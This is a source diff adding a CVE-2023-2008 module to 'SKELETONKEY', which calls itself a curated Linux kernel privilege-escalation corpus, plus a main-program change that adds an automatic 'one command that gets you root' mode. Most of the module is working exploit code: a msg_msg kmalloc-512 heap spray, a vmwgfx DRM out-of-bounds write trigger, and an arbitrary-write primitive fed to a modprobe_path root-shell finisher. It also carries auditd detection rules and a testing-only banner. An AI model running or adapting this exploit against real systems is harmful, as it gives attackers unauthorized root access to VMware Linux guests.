#define DRM_IOCTL_VMW_CREATE_DMABUF \
|
||||
_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_CREATE_DMABUF, \
|
||||
union drm_vmw_alloc_dmabuf_arg)
|
||||
#define DRM_IOCTL_VMW_UNREF_DMABUF \
|
||||
_IOW(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_UNREF_DMABUF, uint32_t)
|
||||
|
||||
/* ---- kernel range ------------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
};
|
||||
|
||||
static const struct kernel_range vmwgfx_range = {
|
||||
.patched_from = vmwgfx_patched_branches,
|
||||
.n_patched_from = sizeof(vmwgfx_patched_branches) /
|
||||
sizeof(vmwgfx_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- precondition probes ------------------------------------------ */
|
||||
|
||||
/* Read first line of /sys/devices/virtual/dmi/id/sys_vendor (trimmed)
|
||||
* into `out`. Returns true on success. */
|
||||
static bool read_dmi_sys_vendor(char *out, size_t out_sz)
|
||||
{
|
||||
int fd = open("/sys/devices/virtual/dmi/id/sys_vendor", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
ssize_t n = read(fd, out, out_sz - 1);
|
||||
close(fd);
|
||||
if (n <= 0) return false;
|
||||
out[n] = '\0';
|
||||
/* trim trailing newline / spaces */
|
||||
while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == ' '
|
||||
|| out[n - 1] == '\t' || out[n - 1] == '\r')) {
|
||||
out[--n] = '\0';
|
||||
}
|
||||
return n > 0;
|
||||
}
|
||||
|
||||
static bool host_is_vmware_guest(char *vendor_out, size_t vendor_out_sz)
|
||||
{
|
||||
char vendor[128] = {0};
|
||||
if (!read_dmi_sys_vendor(vendor, sizeof vendor)) return false;
|
||||
if (vendor_out && vendor_out_sz) {
|
||||
snprintf(vendor_out, vendor_out_sz, "%s", vendor);
|
||||
}
|
||||
/* Standard VMware DMI string is "VMware, Inc." but be loose. */
|
||||
return strncasecmp(vendor, "VMware", 6) == 0;
|
||||
}
|
||||
|
||||
/* Resolve /sys/class/drm/card0/device/driver symlink and check whether
|
||||
* the target's basename is "vmwgfx". */
|
||||
static bool card_driver_is_vmwgfx(const char *cardpath)
|
||||
{
|
||||
char link[512];
|
||||
snprintf(link, sizeof link, "/sys/class/drm/%s/device/driver", cardpath);
|
||||
char target[512] = {0};
|
||||
ssize_t n = readlink(link, target, sizeof target - 1);
|
||||
if (n <= 0) return false;
|
||||
target[n] = '\0';
|
||||
const char *base = strrchr(target, '/');
|
||||
base = base ? base + 1 : target;
|
||||
return strcmp(base, "vmwgfx") == 0;
|
||||
}
|
||||
|
||||
/* Locate the first /dev/dri/cardN whose driver is vmwgfx. Writes the
|
||||
* basename (e.g. "card0") into out. Returns true on hit. */
|
||||
static bool find_vmwgfx_card(char *out, size_t out_sz)
|
||||
{
|
||||
for (int i = 0; i < 8; i++) {
|
||||
char name[16];
|
||||
snprintf(name, sizeof name, "card%d", i);
|
||||
if (card_driver_is_vmwgfx(name)) {
|
||||
snprintf(out, out_sz, "%s", name);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Probe DRM_IOCTL_VERSION on the card device. Returns the driver-name
|
||||
* string on success (caller-owned heap, must free) or NULL. */
|
||||
static char *probe_drm_version_name(const char *cardpath)
|
||||
{
|
||||
char devpath[64];
|
||||
snprintf(devpath, sizeof devpath, "/dev/dri/%s", cardpath);
|
||||
int fd = open(devpath, O_RDWR | O_CLOEXEC);
|
||||
if (fd < 0) return NULL;
|
||||
|
||||
struct drm_version_compat v;
|
||||
memset(&v, 0, sizeof v);
|
||||
/* Two-stage ioctl: first call learns name_len, second fills name. */
|
||||
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return NULL; }
|
||||
if (v.name_len == 0 || v.name_len > 256) { close(fd); return NULL; }
|
||||
char *name = calloc(1, v.name_len + 1);
|
||||
if (!name) { close(fd); return NULL; }
|
||||
v.name = name;
|
||||
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) {
|
||||
free(name); close(fd); return NULL;
|
||||
}
|
||||
name[v.name_len] = '\0';
|
||||
close(fd);
|
||||
return name;
|
||||
}
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] vmwgfx: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&vmwgfx_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
|
||||
"6.2.10 / 6.1.23)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
|
||||
* report PRECOND_FAIL rather than VULNERABLE. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 0, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* VMware-guest gate. */
|
||||
char vendor[128] = {0};
|
||||
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
|
||||
vendor[0] ? vendor : "(unreadable)");
|
||||
}
|
||||
if (!vmware) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: host is not a VMware guest — vmwgfx "
|
||||
"driver cannot bind; bug unreachable here\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* DRM card + driver-name gate. */
|
||||
char card[16] = {0};
|
||||
if (!find_vmwgfx_card(card, sizeof card)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: no /dev/dri/cardN bound to vmwgfx — "
|
||||
"module unloaded or no SVGA-II PCI device\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char *drv = probe_drm_version_name(card);
|
||||
if (!drv) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] vmwgfx: cannot open/ioctl /dev/dri/%s "
|
||||
"(permission denied?)\n", card);
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
bool drv_match = strcmp(drv, "vmwgfx") == 0;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] vmwgfx: /dev/dri/%s driver name reported as \"%s\"\n",
|
||||
card, drv);
|
||||
}
|
||||
free(drv);
|
||||
if (!drv_match) {
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] vmwgfx: VULNERABLE — kernel in range + VMware guest + "
|
||||
"vmwgfx card reachable\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit groom ------------------------------------------------ */
|
||||
|
||||
#define VMW_SPRAY_QUEUES 24
|
||||
#define VMW_SPRAY_PER_QUEUE 24
|
||||
#define VMW_PAYLOAD_BYTES 496 /* 512 - msg_msg header (~16) */
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
unsigned char buf[VMW_PAYLOAD_BYTES];
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static int spray_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x56; /* 'V' for vmwgfx */
|
||||
memset(p.buf, 0x56, sizeof p.buf);
|
||||
memcpy(p.buf, "SKVMWGFX", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
if (q < 0) { queues[i] = -1; continue; }
|
||||
queues[i] = q;
|
||||
created++;
|
||||
for (int j = 0; j < VMW_SPRAY_PER_QUEUE; j++) {
|
||||
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
}
|
||||
}
|
||||
return created;
|
||||
}
|
||||
|
||||
static void drain_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
|
||||
{
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
|
||||
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static long slab_active_kmalloc_512(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
|
||||
char name[64];
|
||||
long act = 0, num = 0;
|
||||
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||
active = act;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* Open the vmwgfx card. Returns fd or -1. */
|
||||
static int open_vmwgfx_card(void)
|
||||
{
|
||||
char card[16] = {0};
|
||||
if (!find_vmwgfx_card(card, sizeof card)) return -1;
|
||||
char devpath[64];
|
||||
snprintf(devpath, sizeof devpath, "/dev/dri/%s", card);
|
||||
return open(devpath, O_RDWR | O_CLOEXEC);
|
||||
}
|
||||
|
||||
/* Drive the OOB write trigger.
|
||||
*
|
||||
* The bug fires when vmw_buffer_object_set_user_args() (called from
|
||||
* the CREATE_DMABUF path) passes a partially-validated size into the
|
||||
* subsequent ttm_bo_kmap() / kunmap_atomic copy loop. A crafted
|
||||
* `size` field — chosen so the PAGE_ALIGN'd page count fits a
|
||||
* kmalloc-512 slab while the byte count overruns it — causes the
|
||||
* mapped-page write to spill past the slab boundary.
|
||||
*
|
||||
* Mechanically:
|
||||
* 1. CREATE_DMABUF with size = 4096 + 16 (page-spanning by 16 B)
|
||||
* 2. mmap the returned map_handle into userspace
|
||||
* 3. write a recognizable pattern across the page boundary
|
||||
* 4. close + UNREF_DMABUF — the kunmap_atomic teardown is where the
|
||||
* OOB write commits on vulnerable kernels
|
||||
*
|
||||
* On a non-vmwgfx host the ioctls return -ENOTTY / -EOPNOTSUPP and the
|
||||
* trigger is a no-op. Our caller short-circuits before reaching this
|
||||
* point in that case. */
|
||||
static bool trigger_vmwgfx_oob(int fd, unsigned char fill_byte)
|
||||
{
|
||||
union drm_vmw_alloc_dmabuf_arg a;
|
||||
memset(&a, 0, sizeof a);
|
||||
/* Size chosen to land in kmalloc-512 page-count bucket while the
|
||||
* subsequent byte-length copy overruns into the next slab slot.
|
||||
* The exact value 4096+16 mirrors the public PoC's choice. */
|
||||
a.req.size = 4096 + 16;
|
||||
if (ioctl(fd, DRM_IOCTL_VMW_CREATE_DMABUF, &a) < 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: DRM_IOCTL_VMW_CREATE_DMABUF: %s\n",
|
||||
strerror(errno));
|
||||
return false;
|
||||
}
|
||||
|
||||
uint64_t map_handle = ((uint64_t)a.rep.map_handle_hi << 32) | a.rep.map_handle_lo;
|
||||
size_t map_len = 4096 * 2; /* over-map to include the spill page */
|
||||
void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED, fd, (off_t)map_handle);
|
||||
if (p == MAP_FAILED) {
|
||||
fprintf(stderr, "[-] vmwgfx: mmap(map_handle=0x%llx): %s\n",
|
||||
(unsigned long long)map_handle, strerror(errno));
|
||||
/* Still unref. */
|
||||
uint32_t h = a.rep.handle;
|
||||
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Stripe the buffer with our witness pattern. The bytes past
|
||||
* offset 4096 are where the OOB write lands on a vulnerable
|
||||
* kernel. */
|
||||
memset(p, fill_byte, map_len);
|
||||
memcpy((char *)p + 4096, "SKVMOOB!", 8);
|
||||
|
||||
/* Force the kunmap_atomic teardown that commits the OOB write. */
|
||||
munmap(p, map_len);
|
||||
uint32_t h = a.rep.handle;
|
||||
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ---- Arb-write primitive (FALLBACK depth) -------------------------
|
||||
*
|
||||
* Re-fire the trigger with a kaddr-tagged spray planted in the
|
||||
* adjacent kmalloc-512 slot. We cannot in-process verify the write —
|
||||
* the shared finisher's 3 s sentinel-file check is the empirical
|
||||
* arbiter. On a patched kernel or when the spray fails to land in the
|
||||
* spilled-over slot the finisher returns EXPLOIT_FAIL gracefully. */
|
||||
|
||||
struct vmwgfx_arb_ctx {
|
||||
int queues[VMW_SPRAY_QUEUES];
|
||||
int n_queues;
|
||||
int card_fd;
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
|
||||
static int vmwgfx_reseed_kaddr_spray(int queues[VMW_SPRAY_QUEUES],
|
||||
uintptr_t kaddr,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4B; /* 'K' for kaddr */
|
||||
memset(p.buf, 0x4B, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMVMARB", 8);
|
||||
|
||||
/* Plant kaddr at byte 8, payload bytes immediately after. The OOB
|
||||
* write lands within the first ~16 bytes of the neighbour slot, so
|
||||
* the kernel's overrun touches exactly this region. */
|
||||
uint64_t k = (uint64_t)kaddr;
|
||||
memcpy(p.buf + 8, &k, sizeof k);
|
||||
size_t copy = len;
|
||||
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
|
||||
if (buf && copy) memcpy(p.buf + 16, buf, copy);
|
||||
|
||||
int touched = 0;
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES && touched < 6; i++) {
|
||||
if (queues[i] < 0) continue;
|
||||
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
|
||||
}
|
||||
return touched;
|
||||
}
|
||||
|
||||
static int vmwgfx_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct vmwgfx_arb_ctx *c = (struct vmwgfx_arb_ctx *)ctx_v;
|
||||
if (!c || c->n_queues == 0 || c->card_fd < 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
fprintf(stderr, "[*] vmwgfx: arb_write #%d kaddr=0x%lx len=%zu "
|
||||
"(FALLBACK — single-shot OOB)\n",
|
||||
c->arb_calls, (unsigned long)kaddr, len);
|
||||
|
||||
int seeded = vmwgfx_reseed_kaddr_spray(c->queues, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: arb_write: kaddr reseed produced 0 msgs\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Re-fire the OOB trigger. The fill byte encodes the call number
|
||||
* so a KASAN dump can be cross-referenced. */
|
||||
unsigned char fill = (unsigned char)(0xA0 + (c->arb_calls & 0x0F));
|
||||
if (!trigger_vmwgfx_oob(c->card_fd, fill)) {
|
||||
fprintf(stderr, "[-] vmwgfx: arb_write: re-trigger failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
usleep(50 * 1000);
|
||||
c->arb_landed++;
|
||||
/* Return 0; finisher's sentinel arbitrates. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] vmwgfx: refusing — --i-know not set\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = vmwgfx_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] vmwgfx: kernel not vulnerable; refusing exploit\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check. */
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("vmwgfx");
|
||||
fprintf(stderr, "[-] vmwgfx: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
int card_fd = open_vmwgfx_card();
|
||||
if (card_fd < 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: cannot open vmwgfx card: %s\n", strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: opened vmwgfx card fd=%d\n", card_fd);
|
||||
fprintf(stderr, "[*] vmwgfx: seeding kmalloc-512 msg_msg spray\n");
|
||||
}
|
||||
|
||||
struct vmwgfx_arb_ctx arb_ctx;
|
||||
memset(&arb_ctx, 0, sizeof arb_ctx);
|
||||
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) arb_ctx.queues[i] = -1;
|
||||
arb_ctx.card_fd = card_fd;
|
||||
arb_ctx.n_queues = spray_kmalloc_512(arb_ctx.queues);
|
||||
if (arb_ctx.n_queues == 0) {
|
||||
fprintf(stderr, "[-] vmwgfx: msg_msg spray produced 0 queues — sysvipc "
|
||||
"may be restricted\n");
|
||||
close(card_fd);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: spray seeded %d queues x %d msgs\n",
|
||||
arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE);
|
||||
}
|
||||
|
||||
long pre_active = slab_active_kmalloc_512();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: firing CREATE_DMABUF + mmap + OOB-write trigger\n");
|
||||
}
|
||||
bool fired = trigger_vmwgfx_oob(card_fd, 0xAA);
|
||||
|
||||
long post_active = slab_active_kmalloc_512();
|
||||
|
||||
FILE *log = fopen("/tmp/skeletonkey-vmwgfx.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"vmwgfx CVE-2023-2008 trigger:\n"
|
||||
" card_fd = %d\n"
|
||||
" spray_queues = %d\n"
|
||||
" spray_per_queue = %d\n"
|
||||
" trigger_fired = %s\n"
|
||||
" slab_kmalloc512_pre = %ld\n"
|
||||
" slab_kmalloc512_post = %ld\n"
|
||||
" slab_delta = %ld\n"
|
||||
"Note: this run did NOT attempt cred overwrite. See module .c\n"
|
||||
"for the continuation roadmap.\n",
|
||||
card_fd, arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE,
|
||||
fired ? "yes" : "no",
|
||||
pre_active, post_active,
|
||||
(pre_active >= 0 && post_active >= 0) ? (post_active - pre_active) : 0);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: kmalloc-512 active: pre=%ld post=%ld\n",
|
||||
pre_active, post_active);
|
||||
}
|
||||
|
||||
if (!fired) {
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
fprintf(stderr, "[~] vmwgfx: trigger ioctl path failed — kernel may be\n"
|
||||
" patched or the ABI shape doesn't match this build.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* --full-chain branch. */
|
||||
if (full_chain_ready) {
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
vmwgfx_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/skeletonkey-vmwgfx.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vmwgfx: --full-chain finisher reported OK\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] vmwgfx: --full-chain finisher returned FAIL —\n"
|
||||
" either the kernel is patched, the spray didn't\n"
|
||||
" line up adjacent to the bo slab slot, or the OOB\n"
|
||||
" bytes didn't include the kaddr the finisher polls\n"
|
||||
" for. See /tmp/skeletonkey-vmwgfx.log + dmesg.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
drain_kmalloc_512(arb_ctx.queues);
|
||||
close(card_fd);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: trigger ran to completion. Inspect dmesg for\n"
|
||||
" KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] vmwgfx: cred-overwrite step not invoked (no\n"
|
||||
" --full-chain); returning EXPLOIT_FAIL per\n"
|
||||
" verified-vs-claimed policy.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return vmwgfx_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] vmwgfx: Linux-only module; cannot run on this host\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t vmwgfx_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] vmwgfx: cleaning up breadcrumb\n");
|
||||
}
|
||||
/* The msg queues live in the (exited) exploit process for now —
|
||||
* the kernel auto-reaps them on process death. Belt-and-braces:
|
||||
* walk /proc/sysvipc/msg and remove any owned by our uid. We keep
|
||||
* this minimal: just drop the log. */
|
||||
if (unlink("/tmp/skeletonkey-vmwgfx.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char vmwgfx_auditd[] =
|
||||
"# vmwgfx CVE-2023-2008 — auditd detection rules\n"
|
||||
"# Trigger shape: open(/dev/dri/card*) by non-root, followed by\n"
|
||||
"# DRM_IOCTL_VMW_CREATE_DMABUF / mmap / UNREF_DMABUF burst, often\n"
|
||||
"# paired with msgsnd spray for cross-cache groom. None of these\n"
|
||||
"# syscalls are individually suspicious; flag the combination.\n"
|
||||
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card0 -k skeletonkey-vmwgfx-open\n"
|
||||
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card1 -k skeletonkey-vmwgfx-open\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0xc010644a -k skeletonkey-vmwgfx-create\n"
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
|
||||
|
||||
const struct skeletonkey_module vmwgfx_module = {
|
||||
.name = "vmwgfx",
|
||||
.cve = "CVE-2023-2008",
|
||||
.summary = "vmwgfx DRM bo size-validation OOB write in kmalloc-512 → kernel primitive",
|
||||
.family = "drm",
|
||||
.kernel_range = "4.0 ≤ K < 6.3-rc6 (vmwgfx); backports: 6.2.10 / 6.1.23",
|
||||
.detect = vmwgfx_detect,
|
||||
#ifdef __linux__
|
||||
.exploit = vmwgfx_exploit,
|
||||
#else
|
||||
.exploit = NULL,
|
||||
#endif
|
||||
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
|
||||
.cleanup = vmwgfx_cleanup,
|
||||
.detect_auditd = vmwgfx_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_vmwgfx(void)
|
||||
{
|
||||
skeletonkey_register(&vmwgfx_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef VMWGFX_SKELETONKEY_MODULES_H
|
||||
#define VMWGFX_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module vmwgfx_module;
|
||||
#endif
|
||||
+386
-19
@@ -18,8 +18,13 @@
|
||||
#include "core/module.h"
|
||||
#include "core/registry.h"
|
||||
#include "core/offsets.h"
|
||||
#include "core/host.h"
|
||||
|
||||
#include <time.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include <getopt.h>
|
||||
#include <stdbool.h>
|
||||
@@ -28,26 +33,13 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.4.1"
|
||||
#define SKELETONKEY_VERSION "0.6.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ╭───╮\n"
|
||||
" ╱ ╲\n"
|
||||
" │ ● │════════════════════════════════════════════════════════╗\n"
|
||||
" ╲ ╱ ╔══╩══╗\n"
|
||||
" ╰───╯ ║ ╔═╝\n"
|
||||
" ║ ║\n"
|
||||
" ╚═══╝\n"
|
||||
"\n"
|
||||
" ███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗\n"
|
||||
" ██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝\n"
|
||||
" ███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝ \n"
|
||||
" ╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝ \n"
|
||||
" ███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║ \n"
|
||||
" ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝ \n"
|
||||
" Curated Linux kernel LPE corpus — v" SKELETONKEY_VERSION "\n"
|
||||
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
|
||||
"SKELETONKEY — Curated Linux kernel LPE corpus — v" SKELETONKEY_VERSION "\n"
|
||||
"AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n"
|
||||
"\n";
|
||||
|
||||
static void usage(const char *prog)
|
||||
{
|
||||
@@ -64,6 +56,11 @@ static void usage(const char *prog)
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --auto scan host, rank vulnerable modules by safety, run the\n"
|
||||
" safest exploit. Requires --i-know. The 'one command\n"
|
||||
" that gets you root' mode — picks structural exploits\n"
|
||||
" (no kernel state touched) over page-cache writes over\n"
|
||||
" kernel primitives over races.\n"
|
||||
" --audit system-hygiene scan: setuid binaries, world-writable\n"
|
||||
" files in /etc, file capabilities, sudo NOPASSWD\n"
|
||||
" (complements --scan; answers 'is this box\n"
|
||||
